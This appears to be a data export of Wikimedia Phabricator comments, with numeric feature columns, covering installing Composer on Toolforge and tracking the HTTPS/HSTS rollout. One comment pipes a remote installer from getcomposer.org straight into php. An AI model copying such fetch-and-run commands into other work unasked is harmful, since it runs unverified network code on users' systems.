```",,,1441668466,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.6666666666666666,"Work around:

``CODE``"
522324,Install composer on tools-login,"Work-around:
```lang=sh
$ ssh tools-login
$ become mytool
# https://getcomposer.org/download/
$ mkdir bin
$ curl -sS https://getcomposer.org/installer | php -- --install-dir=bin --filename=composer
# Now installed in ~/bin/composer
# Make sure your bash PATH includes ""$HOME/bin"". Set in .bashrc if needed.
$ which composer
# /data/project/:tool/bin/composer",,,1441668458,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,1.0,0.0,0.0,0.0,5.0,1.0,0.0,2.0,0.0,2.0,3.0,9.0,0.0,2.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0697674418604652,0.5697674418604651,"Work-around:
```lang=sh
$ ssh tools-login
$ become mytool
# URL
$ mkdir bin
$ curl -sS URL | php -- --install-dir=bin --filename=composer
# Now installed in ~/bin/composer
# Make sure your bash PATH includes ""$HOME/bin"". Set in .bashrc if needed.
$ which composer
# /data/project/:tool/bin/composer"
486708,Install composer on tools-login,There's a package in debian-unstable: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=714118,,,1436094239,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,There's a package in debian-unstable: URL
486707,Install composer on tools-login,There's an package in debian-unstable: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=714118,,,1436094221,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.7,1.0,There's an package in debian-unstable: URL
486705,Install composer on tools-login,Is there a Debian package for it?,,,1436093816,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.375,1.0,Is there a Debian package for it?
104681,HTTPS Plans (tracking / high-level info),"Some of the information out there about where we are and where we're going is a bit disparate and lost in the noise of many separate Tasks and impending gerrit commits.  This is an attempt to bring together a coherent view of the current state of things, the next upcoming steps, etc.  If you know information that isn't here (missing Task refs, etc) please feel free to correct it!  The Description here will evolve as we go, use comments to discuss, etc.

 - **Definitions**
    - Canonical domains: wikipedia.org, wikimedia.org, wiktionary.org, wikiquote.org, wikibooks.org, wikisource.org, wikinews.org, wikiversity.org, wikidata.org, wikivoyage.org, wikimediafoundation.org, mediawiki.org, wmfusercontent.org, w.wiki.
    - Non-canonical domains: Anything not in the list above.  These are generally redirect-only domains such as `wikimedia.ee`, `wikizpravy.cz`, `wikimediacommons.jp.net`, etc
    - Traffic Clusters: These are the `text`, `upload`, and `misc` traffic clusters which do standardized TLS termination for the bulk of all our HTTP[S] traffic to all of our domainnames.
    - One-off Services: These are individual internet-facing HTTP[S] services which are **not** terminated by one of the standard traffic clusters above and run their own independently-configured internet-facing server software (e.g. nginx or apache).  They are in our control and hosted in our datacenters.
    - Third-party: These are HTTPS[S] service hostnames in our canonical domains which are hosted by a 3rd-party service for us.

- **Current State of Affairs - HTTPS, Redirects, and HSTS**
  - Our desired state is:
    - Modern TLS (v1.2, FS/AEAD ciphers enabled, sane ordering, no publicly-known TLS flaws)
    - HTTP: 301 redirect of GET/HEAD to HTTPS, 403 denial of other methods.
    - HSTS with 1yr duration, preload, includeSub
    - All canonical domains (not individual service hostnames) submitted to the Chromium preload lists
  - Outstanding Exceptions:
    - Non-canonical domains (all are currently serviced by our Traffic Clusters): No valid certificates.  Task to move these to a separate service with LetsEncrypt certs: T133548
    - Third-party: store.wikimedia.org HSTS issues - T128559

- ** Current State of Affairs - Crypto Compatibility vs Security Tradeoffs **
  - Dashboard for negotiated ciphers: https://grafana.wikimedia.org/#/dashboard/db/tls-ciphers
  - As a general rule, none of our HTTPS endpoints should support SSLv2 or SSLv3.  I don't believe there are any exceptions to this today.  The only client browser anyone cares much about which lacks TLSv1.0 (or higher) support and is blocked by this is IE6 on Windows XP (which, due to our redirects and lack of SSLv3 support, cannot access our HTTPS-redirected sites at all anymore).
  - We maintain [[ https://phabricator.wikimedia.org/diffusion/OPUP/browse/production/modules/wmflib/lib/puppet/parser/functions/ssl_ciphersuite.rb | explicit ciphersuite lists in our puppet repo ]] that are intended to be shared by all TLS termination software for all cases.  There are three choices a site/service can choose from at this time: strong, mid, and compat. 
 See that file for the evolving details",Medium,50.0,1435899522,1584557649.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-qj2snyczfdknddcdqa7f,task_description,resolved,True,c3,3,True,True,False,0,True,1.5714285714285714,0.2857142857142857,0.0,0.7142857142857143,0.8571428571428571,5.571428571428571,0.8571428571428571,0.0,0.0,0.14285714285714285,1.4285714285714286,0.42857142857142855,0.0,0.2857142857142857,0.2857142857142857,2.5714285714285716,0.0,3.5714285714285716,8.428571428571429,0.42857142857142855,0.7142857142857143,0.14285714285714285,0.0,0.14285714285714285,0.2857142857142857,0.14285714285714285,0.14285714285714285,0.2857142857142857,0.2857142857142857,0.14285714285714285,0.0,3.857142857142857,0.7142857142857143,0.14285714285714285,1.0,0.14285714285714285,0.0,0.14285714285714285,0.0,0.7142857142857143,0.14285714285714285,0.2857142857142857,0.14285714285714285,1.1428571428571428,0.5714285714285714,0.0,0.0,0.14285714285714285,0.14285714285714285,14.285714285714286,1.0,0.42857142857142855,0.2857142857142857,0.14285714285714285,0.0,0.14285714285714285,0.0,0.0,0.5714285714285714,0.14285714285714285,0.0,0.42857142857142855,0.0,0.2857142857142857,0.0,0.5714285714285714,0.0,2.7142857142857144,2.7142857142857144,12.714285714285714,0.42857142857142855,1.8571428571428572,6.428571428571429,0.0,0.0,0.14285714285714285,0.0,2.2857142857142856,0.14285714285714285,0.8571428571428571,0.0,3.142857142857143,8.428571428571429,8.285714285714286,0.0,0.0,0.0,3.142857142857143,0.0,1.2857142857142858,1.0,0.14285714285714285,0.8571428571428571,0.14285714285714285,0.0,2.0,4.126567398119122,0.708128078817734,"Some of the information out there about where we are and where we're going is a bit disparate and lost in the noise of many separate Tasks and impending gerrit commits.  This is an attempt to bring together a coherent view of the current state of things, the next upcoming steps, etc.  If you know information that isn't here (missing Task refs, etc) please feel free to correct it!  The Description here will evolve as we go, use comments to discuss, etc.

 - **Definitions**
    - Canonical domains: wikipedia.org, wikimedia.org, wiktionary.org, wikiquote.org, wikibooks.org, wikisource.org, wikinews.org, wikiversity.org, wikidata.org, wikivoyage.org, wikimediafoundation.org, mediawiki.org, wmfusercontent.org, w.wiki.
    - Non-canonical domains: Anything not in the list above.  These are generally redirect-only domains such as CODE, CODE, CODE, etc
    - Traffic Clusters: These are the CODE, CODE, and CODE traffic clusters which do standardized TLS termination for the bulk of all our HTTP[S] traffic to all of our domainnames.
    - One-off Services: These are individual internet-facing HTTP[S] services which are **not** terminated by one of the standard traffic clusters above and run their own independently-configured internet-facing server software (e.g. nginx or apache).  They are in our control and hosted in our datacenters.
    - Third-party: These are HTTPS[S] service hostnames in our canonical domains which are hosted by a 3rd-party service for us.

- **Current State of Affairs - HTTPS, Redirects, and HSTS**
  - Our desired state is:
    - Modern TLS (v1.2, FS/AEAD ciphers enabled, sane ordering, no publicly-known TLS flaws)
    - HTTP: 301 redirect of GET/HEAD to HTTPS, 403 denial of other methods.
    - HSTS with 1yr duration, preload, includeSub
    - All canonical domains (not individual service hostnames) submitted to the Chromium preload lists
  - Outstanding Exceptions:
    - Non-canonical domains (all are currently serviced by our Traffic Clusters): No valid certificates.  Task to move these to a separate service with LetsEncrypt certs: T133548
    - Third-party: store.wikimedia.org HSTS issues - T128559

- ** Current State of Affairs - Crypto Compatibility vs Security Tradeoffs **
  - Dashboard for negotiated ciphers: URL
  - As a general rule, none of our HTTPS endpoints should support SSLv2 or SSLv3.  I don't believe there are any exceptions to this today.  The only client browser anyone cares much about which lacks TLSv1.0 (or higher) support and is blocked by this is IE6 on Windows XP (which, due to our redirects and lack of SSLv3 support, cannot access our HTTPS-redirected sites at all anymore).
  - We maintain [[ URL | explicit ciphersuite lists in our puppet repo ]] that are intended to be shared by all TLS termination software for all cases.  There are three choices a site/service can choose from at this time: strong, mid, and compat. 
 See that file for the evolving details"
1466724,HTTPS Plans (tracking / high-level info),"Resolving this, since it has become an undead tracker for too long.  There are still two trailing issues, but having this over-arching tracking task above them isn't accomplishing anything:

T133548 - Create a secure redirect service for large count of non-canonical / junk domains - The various sub-tickets here have had lots of progress recently, and we're nearly to the finish-line for handling all non-canonicals, and this is all still on-track to complete.
T128559 - store.wikimedia.org HTTPS issues - HSTS still lacks preload/includesub, but after being unable to fix one header for 4 years here, I don't know if this will ever be fixed.",,,1584557649,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-qj2snyczfdknddcdqa7f,task_subcomment,,True,c3,3,True,,,245,True,1.5,0.5,0.0,0.5,1.0,4.0,1.5,0.0,0.0,0.5,0.0,2.0,0.0,0.5,0.5,1.5,0.5,7.5,9.5,0.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,5.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,16.5,2.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,2.0,3.0,5.5,1.0,2.5,6.0,0.0,0.0,0.0,0.0,3.5,0.0,2.5,0.0,2.5,9.5,1.5,0.0,0.0,0.0,2.5,0.0,0.0,1.0,0.5,3.0,0.0,0.0,0.0,4.044776119402985,0.8283582089552239,"Resolving this, since it has become an undead tracker for too long.  There are still two trailing issues, but having this over-arching tracking task above them isn't accomplishing anything:

T133548 - Create a secure redirect service for large count of non-canonical / junk domains - The various sub-tickets here have had lots of progress recently, and we're nearly to the finish-line for handling all non-canonicals, and this is all still on-track to complete.
T128559 - store.wikimedia.org HTTPS issues - HSTS still lacks preload/includesub, but after being unable to fix one header for 4 years here, I don't know if this will ever be fixed."
891650,HTTPS Plans (tracking / high-level info),"So with these changes and cleanups in the past few weeks, we're basically down to two outstanding issues here from the original context:

* T133548 - Create a secure redirect service for large count of non-canonical / junk domains - Still relevant, there's some subtasks underneath about LE scaling, hoping to close this out in the latter half of 2017
* T128559 - store.wikimedia.org HTTPS issues - Still outstanding on the HSTS issue here, no response lately...",,,1499793265,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-qj2snyczfdknddcdqa7f,task_subcomment,,True,c3,3,True,,,105,True,2.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,1.0,0.0,9.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,10.0,0.0,1.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,1.0,15.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.359550561797753,0.797752808988764,"So with these changes and cleanups in the past few weeks, we're basically down to two outstanding issues here from the original context:

* T133548 - Create a secure redirect service for large count of non-canonical / junk domains - Still relevant, there's some subtasks underneath about LE scaling, hoping to close this out in the latter half of 2017
* T128559 - store.wikimedia.org HTTPS issues - Still outstanding on the HSTS issue here, no response lately..."
882525,HTTPS Plans (tracking / high-level info),"The original point of this (now ~2 years old) tracking task was to track the very long tail of known but relatively-minor issues preventing us from reaching a full transition to modern HTTPS-only for all public-facing production things that the Foundation has control over, in the wake the transition for our major public hostnames announced in https://blog.wikimedia.org/2015/06/12/securing-wikimedia-sites-with-https/ .  This ticket has a danger of becoming an undead meta-task as more sub-tasks might topically accrete to it over time.  It's not intended to replace the idea of a tag or a workboard column, after all, and we have such a thing in the TLS column of the #Traffic workboard for tracking all other ongoing TLS improvements.  The remaining set of valid open tasks is fairly small at this point and a few of them are near closing, so we're going to try to wind this ticket down completely over the next several months, and I'm going to unlink a few on categorical grounds today.

Remaining open tasks directly linked into here which need work before this closes:
* T132521 `Enforce HTTPS+HSTS on remaining one-off sites in wikimedia.org that don't use standard cache cluster termination` - still valid due to a couple of relevant subtasks:
** T128559 `store.wikimedia.org HTTPS issues` - Still outstanding on the HSTS issue here
** T137161 `Fix nits in HTTPS/HSTS configs in externally-hosted fundraising domains` - Looks due to close any day now, hopefully
* T133548 `Create a secure redirect service for large count of non-canonical / junk domains` - Still relevant, hoping to close this out in the latter half of 2017
* T168919  `stream.wikimedia.org: remove legacy rcstream/socket.io HTTPS redirect hole punches` - Relevant and newly-added (was missing)

Stuff I'm unlinking today as categorically inappropriate or unnecessary in the view of the original transition's long tail:
* T92002 `implement Public Key Pinning (HPKP) for Wikimedia domains` - Unlinking, this is just a general improvement we'd like to have, but not required to close this IMHO (similar to other issues like CAA support, etc)
* T153563 `Consider switching to HTTPS for Wikidata query service links` - Unlinking, as this is categorically an application-layer issue, and WDQS's actual basic TLS termination is standard and acceptable.",,,1498519216,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-qj2snyczfdknddcdqa7f,task_subcomment,,True,c3,3,True,,,103,True,1.75,0.0,0.5,0.0,0.5,10.5,1.5,0.0,0.0,0.0,2.0,1.0,0.25,0.25,0.0,1.75,0.25,6.0,12.5,0.0,2.25,0.0,0.0,0.0,0.5,0.25,0.0,0.25,0.25,0.25,0.25,3.75,0.5,0.5,0.5,0.0,0.0,0.0,0.25,0.5,0.0,0.25,1.0,2.0,0.0,0.5,0.25,0.0,0.0,15.0,1.0,1.25,0.0,0.75,0.0,0.25,0.0,0.0,0.75,0.0,0.0,0.5,0.0,0.0,0.25,0.0,0.0,6.25,1.75,10.0,0.25,2.5,10.0,0.0,0.0,0.0,0.25,2.75,0.0,0.75,0.0,2.5,12.5,4.0,0.0,0.0,0.0,2.5,0.0,0.5,2.75,0.5,3.0,0.25,0.0,0.25,3.981270453482936,0.7241993922393641,"The original point of this (now ~2 years old) tracking task was to track the very long tail of known but relatively-minor issues preventing us from reaching a full transition to modern HTTPS-only for all public-facing production things that the Foundation has control over, in the wake the transition for our major public hostnames announced in URL .  This ticket has a danger of becoming an undead meta-task as more sub-tasks might topically accrete to it over time.  It's not intended to replace the idea of a tag or a workboard column, after all, and we have such a thing in the TLS column of the #Traffic workboard for tracking all other ongoing TLS improvements.  The remaining set of valid open tasks is fairly small at this point and a few of them are near closing, so we're going to try to wind this ticket down completely over the next several months, and I'm going to unlink a few on categorical grounds today.

Remaining open tasks directly linked into here which need work before this closes:
* T132521 CODE - still valid due to a couple of relevant subtasks:
** T128559 CODE - Still outstanding on the HSTS issue here
** T137161 CODE - Looks due to close any day now, hopefully
* T133548 CODE - Still relevant, hoping to close this out in the latter half of 2017
* T168919  CODE - Relevant and newly-added (was missing)

Stuff I'm unlinking today as categorically inappropriate or unnecessary in the view of the original transition's long tail:
* T92002 CODE - Unlinking, this is just a general improvement we'd like to have, but not required to close this IMHO (similar to other issues like CAA support, etc)
* T153563 CODE - Unlinking, as this is categorically an application-layer issue, and WDQS's actual basic TLS termination is standard and acceptable."
882522,HTTPS Plans (tracking / high-level info),"The original point of this (now ~2 years old) tracking task was to track the very long tail of known but relatively-minor issues preventing us from reaching a full transition to modern HTTPS-only for all public-facing production things that the Foundation has control over, in the wake the transition for our major public hostnames announced in https://blog.wikimedia.org/2015/06/12/securing-wikimedia-sites-with-https/ .  This ticket has a danger of becoming an undead meta-task as more sub-tasks might topically accrete to it over time.  It's not intended to replace the idea of a tag or a workboard column, after all, and we have such a thing in the TLS column of the #Traffic workboard for tracking all other ongoing TLS improvements.  The remaining set of valid open tasks is fairly small at this point and a few of them are near closing, so we're going to try to wind this ticket down completely over the next several months, and I'm going to unlink a few on categorical grounds today.

Remaining open tasks directly linked into here which need work before this closes:
* T132521 `Enforce HTTPS+HSTS on remaining one-off sites in wikimedia.org that don't use standard cache cluster termination` - still valid due to a couple of relevant subtasks:
** T128559 `store.wikimedia.org HTTPS issues` - Still outstanding on the HSTS issue here
** T137161 `Fix nits in HTTPS/HSTS configs in externally-hosted fundraising domains` - Looks due to close any day now, hopefully
* T133548 `Create a secure redirect service for large count of non-canonical / junk domains` - Still relevant, hoping to close this out in the latter half of 2017

Stuff I'm unlinking today as categorically inappropriate or unnecessary in the view of the original transition's long tail:
* T92002 `implement Public Key Pinning (HPKP) for Wikimedia domains` - Unlinking, this is just a general improvement we'd like to have, but not required to close this IMHO (similar to other issues like CAA support, etc)
* T153563 `Consider switching to HTTPS for Wikidata query service links` - Unlinking, as this is categorically an application-layer issue, and WDQS's actual basic TLS termination is standard and acceptable.",,,1498518868,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-qj2snyczfdknddcdqa7f,task_subcomment,,True,c3,3,True,,,103,True,1.75,0.0,0.5,0.0,0.5,10.75,1.5,0.0,0.0,0.0,2.0,1.0,0.25,0.25,0.0,1.75,0.25,6.0,12.5,0.0,2.25,0.0,0.0,0.0,0.25,0.25,0.0,0.25,0.25,0.25,0.25,4.0,0.5,0.5,0.25,0.0,0.0,0.0,0.25,0.5,0.0,0.25,1.0,2.25,0.0,0.5,0.25,0.0,0.0,15.0,1.0,1.25,0.0,0.75,0.0,0.25,0.0,0.0,0.75,0.0,0.0,0.5,0.0,0.0,0.25,0.0,0.0,6.5,1.5,9.5,0.25,2.5,10.0,0.0,0.0,0.0,0.25,2.75,0.0,0.5,0.0,2.5,12.5,3.5,0.0,0.0,0.0,2.5,0.0,0.5,2.75,0.5,2.75,0.25,0.0,0.25,4.0118743615934624,0.735252808988764,"The original point of this (now ~2 years old) tracking task was to track the very long tail of known but relatively-minor issues preventing us from reaching a full transition to modern HTTPS-only for all public-facing production things that the Foundation has control over, in the wake the transition for our major public hostnames announced in URL .  This ticket has a danger of becoming an undead meta-task as more sub-tasks might topically accrete to it over time.  It's not intended to replace the idea of a tag or a workboard column, after all, and we have such a thing in the TLS column of the #Traffic workboard for tracking all other ongoing TLS improvements.  The remaining set of valid open tasks is fairly small at this point and a few of them are near closing, so we're going to try to wind this ticket down completely over the next several months, and I'm going to unlink a few on categorical grounds today.

Remaining open tasks directly linked into here which need work before this closes:
* T132521 CODE - still valid due to a couple of relevant subtasks:
** T128559 CODE - Still outstanding on the HSTS issue here
** T137161 CODE - Looks due to close any day now, hopefully
* T133548 CODE - Still relevant, hoping to close this out in the latter half of 2017

Stuff I'm unlinking today as categorically inappropriate or unnecessary in the view of the original transition's long tail:
* T92002 CODE - Unlinking, this is just a general improvement we'd like to have, but not required to close this IMHO (similar to other issues like CAA support, etc)
* T153563 CODE - Unlinking, as this is categorically an application-layer issue, and WDQS's actual basic TLS termination is standard and acceptable."
882520,HTTPS Plans (tracking / high-level info),"The original point of this (now ~2 years old) tracking task was to track the very long tail of known but relatively-minor issues preventing us from reaching a full transition to modern HTTPS-only for all things public-facing that the Foundation has control over, in the wake the transition for our major public hostnames announced in https://blog.wikimedia.org/2015/06/12/securing-wikimedia-sites-with-https/ .  This ticket has a danger of becoming an undead meta-task as more sub-tasks might topically accrete to it over time.  It's not intended to replace the idea of a tag or a workboard column, after all, and we have such a thing in the TLS column of the #Traffic workboard for tracking all other ongoing TLS improvements.  The remaining set of valid open tasks is fairly small at this point and a few of them are near closing, so we're going to try to wind this ticket down completely over the next several months, and I'm going to unlink a few on categorical grounds today.

Remaining open tasks directly linked into here which need work before this closes:
* T132521 `Enforce HTTPS+HSTS on remaining one-off sites in wikimedia.org that don't use standard cache cluster termination` - still valid due to a couple of relevant subtasks:
** T128559 `store.wikimedia.org HTTPS issues` - Still outstanding on the HSTS issue here
** T137161 `Fix nits in HTTPS/HSTS configs in externally-hosted fundraising domains` - Looks due to close any day now, hopefully
* T133548 `Create a secure redirect service for large count of non-canonical / junk domains` - Still relevant, hoping to close this out in the latter half of 2017

Stuff I'm unlinking today as categorically inappropriate or unnecessary in the view of the original transition's long tail:
* T92002 `implement Public Key Pinning (HPKP) for Wikimedia domains` - Unlinking, this is just a general improvement we'd like to have, but not required to close this IMHO (similar to other issues like CAA support, etc)
* T153563 `Consider switching to HTTPS for Wikidata query service links` - Unlinking, as this is categorically an application-layer issue, and WDQS's actual basic TLS termination is standard and acceptable.",,,1498518568,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-qj2snyczfdknddcdqa7f,task_subcomment,,True,c3,3,True,,,103,True,1.75,0.0,0.5,0.0,0.5,10.75,1.5,0.0,0.0,0.0,2.0,1.0,0.25,0.25,0.0,1.75,0.25,6.0,12.75,0.0,2.25,0.0,0.0,0.0,0.25,0.25,0.0,0.25,0.25,0.25,0.25,4.0,0.5,0.5,0.25,0.0,0.0,0.0,0.25,0.5,0.0,0.25,1.0,2.0,0.0,0.5,0.0,0.0,0.0,15.0,1.0,1.5,0.0,0.75,0.0,0.25,0.0,0.0,0.75,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.5,1.5,9.5,0.5,2.5,10.0,0.0,0.0,0.0,0.25,2.75,0.0,0.5,0.0,2.5,12.75,3.5,0.0,0.0,0.0,2.5,0.0,0.25,2.75,0.5,2.75,0.25,0.0,0.25,3.9946054647599594,0.7343271195097038,"The original point of this (now ~2 years old) tracking task was to track the very long tail of known but relatively-minor issues preventing us from reaching a full transition to modern HTTPS-only for all things public-facing that the Foundation has control over, in the wake the transition for our major public hostnames announced in URL .  This ticket has a danger of becoming an undead meta-task as more sub-tasks might topically accrete to it over time.  It's not intended to replace the idea of a tag or a workboard column, after all, and we have such a thing in the TLS column of the #Traffic workboard for tracking all other ongoing TLS improvements.  The remaining set of valid open tasks is fairly small at this point and a few of them are near closing, so we're going to try to wind this ticket down completely over the next several months, and I'm going to unlink a few on categorical grounds today.

Remaining open tasks directly linked into here which need work before this closes:
* T132521 CODE - still valid due to a couple of relevant subtasks:
** T128559 CODE - Still outstanding on the HSTS issue here
** T137161 CODE - Looks due to close any day now, hopefully
* T133548 CODE - Still relevant, hoping to close this out in the latter half of 2017

Stuff I'm unlinking today as categorically inappropriate or unnecessary in the view of the original transition's long tail:
* T92002 CODE - Unlinking, this is just a general improvement we'd like to have, but not required to close this IMHO (similar to other issues like CAA support, etc)
* T153563 CODE - Unlinking, as this is categorically an application-layer issue, and WDQS's actual basic TLS termination is standard and acceptable."
882516,HTTPS Plans (tracking / high-level info),"The original point of this (now ~2 years old) tracking task was to track the very long tail of known but relatively-minor issues preventing us from reaching a full transition to modern HTTPS-only for all things public-facing that the Foundation has control over, in the wake the transition for our major public hostnames announced in https://blog.wikimedia.org/2015/06/12/securing-wikimedia-sites-with-https/ .  This ticket has a danger of becoming an undead meta-task as more sub-tasks might topically accrete to it over time.  It's not intended to replace the idea of a tag or a workboard column, after all, and we have such a thing in the TLS column of the #Traffic workboard for tracking all other ongoing TLS improvements.  The remaining set of valid open tasks is fairly small at this point and a few of them are near closing, so we're going to try to wind this ticket down completely over the next several months, and I'm going to unlink a few on categorical grounds today.

Remaining open tasks directly linked into here which need work before this closes:
* T132521 `Enforce HTTPS+HSTS on remaining one-off sites in wikimedia.org that don't use standard cache cluster termination` - still valid due to a couple of relevant subtasks:
** T128559 `store.wikimedia.org HTTPS issues` - Still outstanding on the HSTS issue here
** T137161 `Fix nits in HTTPS/HSTS configs in externally-hosted fundraising domains` - Looks due to close any day now, hopefully
* T133548 `Create a secure redirect service for large count of non-canonical / junk domains` - Still relevant, hoping to close this out in the latter half of 2017

Stuff I'm unlinking today as categorically inappropriate or unnecessary in the view of the original transition's long tail:
* T92002 `implement Public Key Pinning (HPKP) for Wikimedia domains` - Unlinking, this is just a general improvement we'd like to have, but not required to close this IMHO (similar to other issues like CAA support, etc)
* T148131 `Deploy redundant unified certs` - Unlinking, again this is a general improvement (and complete other than documentation), not a requirement of finishing the original transition.
* T153563 `Consider switching to HTTPS for Wikidata query service links` - Unlinking, as this is categorically an application-layer issue, and WDQS's actual basic TLS termination is standard and acceptable.",,,1498518383,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-qj2snyczfdknddcdqa7f,task_subcomment,,True,c3,3,True,,,103,True,1.75,0.0,0.5,0.0,0.75,11.25,1.75,0.0,0.0,0.0,2.0,1.0,0.25,0.25,0.0,1.75,0.25,6.25,13.0,0.0,2.25,0.0,0.0,0.0,0.25,0.25,0.0,0.25,0.25,0.25,0.25,4.0,0.5,0.5,0.25,0.0,0.0,0.0,0.25,0.5,0.0,0.25,1.25,2.75,0.0,0.5,0.0,0.0,0.0,15.0,1.25,1.5,0.0,0.75,0.0,0.25,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,7.0,1.75,10.0,0.5,2.5,10.75,0.0,0.0,0.0,0.25,2.75,0.0,0.5,0.0,2.5,13.0,3.25,0.0,0.0,0.0,2.5,0.0,0.25,3.25,0.5,3.0,0.25,0.0,0.25,4.041666666666667,0.6953125000000001,"The original point of this (now ~2 years old) tracking task was to track the very long tail of known but relatively-minor issues preventing us from reaching a full transition to modern HTTPS-only for all things public-facing that the Foundation has control over, in the wake the transition for our major public hostnames announced in URL .  This ticket has a danger of becoming an undead meta-task as more sub-tasks might topically accrete to it over time.  It's not intended to replace the idea of a tag or a workboard column, after all, and we have such a thing in the TLS column of the #Traffic workboard for tracking all other ongoing TLS improvements.  The remaining set of valid open tasks is fairly small at this point and a few of them are near closing, so we're going to try to wind this ticket down completely over the next several months, and I'm going to unlink a few on 